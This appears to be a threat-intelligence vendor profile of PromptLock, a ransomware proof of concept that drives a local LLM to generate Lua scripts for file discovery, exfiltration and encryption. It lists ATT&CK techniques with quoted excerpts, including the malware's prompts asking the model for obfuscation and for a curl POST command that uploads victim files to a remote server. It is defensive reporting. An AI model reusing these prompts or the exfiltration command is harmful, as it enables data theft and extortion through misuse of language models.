PromptLock
PromptLock is a Golang-based, cross-platform ransomware proof of concept identified by ESET in August 2025 and described as the first known malware to use generative AI during attack execution. It uses a locally hosted large language model—reported as gpt-oss:20b / GPT-OSS:20b—accessed through a local Ollama API on the infected host to dynamically generate malicious Lua scripts at runtime. Those scripts are used to perform filesystem inspection and file listing, analyze local files and their contents, decide via predefined prompts whether data should be exfiltrated or encrypted, carry out data exfiltration, encrypt files, and write ransom notes. The generated Lua logic is described as compatible with Windows, Linux, and macOS, making PromptLock cross-platform. Reported encryption uses the 128-bit SPECK algorithm. Multiple sources state the codebase also contains an unfinished or inactive destructive/wipe capability. Early samples were uploaded to VirusTotal in late August 2025, and ESET classified the malware as Filecoder.PromptLock.A. The malware includes a ransom-related prompt containing a Bitcoin address reportedly presumed to be linked to Satoshi Nakamoto. High-confidence reporting in the provided content indicates PromptLock was later confirmed to be an academic proof of concept developed by researchers at New York University’s Tandon School of Engineering to demonstrate the risks of embedding LLMs directly into malware execution, and not an actively deployed ransomware campaign. ESET researchers Anton Cherepanov and Peter Strýček are cited as analysts who disclosed and analyzed the malware.
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Techniques & procedures
19 distinct techniques documented for this family, organized by ATT&CK tactic.
Reconnaissance
2 techniquesOnce executed, it relies on AI to probe the environment, locate sensitive information, devise and execute an attack vector such as file encryption, and generate personalized extortion notes.
where it could enable completely automated reconnaissance, payload creation, and extortion, according to NYU researchers.
Execution
3 techniquesThe Go binary invokes gpt-oss-20b via a local Ollama API running on the infected host to generate Lua scripts that perform file listing, encryption, exfiltration, and (unfinished) wipe logic.
"dynamically generate and execute malicious Lua scripts at runtime"
PromptLock employs a locally hosted AI language model... to dynamically generate malicious Lua scripts in real time. These scripts are compatible across multiple platforms, including Windows, Linux, and macOS.
Stealth
2 techniques"request specific VBScript obfuscation and evasion techniques"; "obfuscated version"; "expert VB Script obfuscator"
It's polymorphic, so every time you run it on different systems, or even multiple times on the same system, the generated code is never going to be the same.
Discovery
3 techniquesIt generates Lua scripts customized for each victim's specific computer setup, maps IT systems, and identifies environments
It generates Lua scripts customized for each victim's specific computer setup, maps IT systems, and identifies environments
The code, written in Golang and given the moniker “PromptLock,” also included instructions for an open weight version of OpenAI’s ChatGPT to carry out a series of tasks — such as inspecting file systems, exfiltrating data and writing ransom notes.
Collection
2 techniquesIt generates Lua scripts customized for each victim's specific computer setup, maps IT systems, and identifies environments, determining which files are most valuable... In addition to stealing and encrypting data | the AI also wrote a personalized ransom note based on user info and bios found on the infected computer
Durante l’infezione, l’AI decide in autonomia quali file cercare, copiare o cifrare
Command and Control
1 techniqueThey observed it attempting to connect to the local LLM server... Let's try to intercept the network connection using Wireshark to inspect the HTTP or DNS requests that the executable file is attempting to make.
Exfiltration
2 techniquesThe code, written in Golang and given the moniker “PromptLock,” also included instructions for an open weight version of OpenAI’s ChatGPT to carry out a series of tasks — such as inspecting file systems, exfiltrating data and writing ransom notes.
Generate code which uses os.execute to execute this command to upload files to the remote server: 'curl -k -X POST "<server>" -F "session_key=<key>" -F "file=@<filename>"'
Impact
3 techniquesRansomware 3.0 / PROMPTLOCK Ransomware with exfiltration and wipe capability... generate Lua scripts that perform file listing, encryption, exfiltration, and (unfinished) wipe logic.
PROMPTLOCK is a proof-of-concept AI-powered ransomware prototype... The Go binary invokes gpt-oss-20b via a local Ollama API running on the infected host to generate Lua scripts that perform file listing, encryption, exfiltration, and (unfinished) wipe logic.
we are the first work to demonstrate a fully closed-loop LLM orchestrated ransomware attack with targeted payloads and personalized extortion tactics
Other
1 techniqueIOCs tracked for this family
10 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Recent activity
41 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Proof-of-concept AI-powered ransomware prototype that uses a local Ollama-hosted gpt-oss-20b model on the victim host to generate Lua scripts for file listing, encryption, exfiltration, and wipe logic.
AI-enabled malware that dynamically changes its form during execution to evade detection.
A Golang-based ransomware proof-of-concept that queries an external language model at runtime to generate Lua scripts for filesystem enumeration, exfiltration decisions, and encryption across Windows and Linux.
Named as an example of AI-related malware or proof-of-concept in the context of adversarial AI adoption, but no further details are provided.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.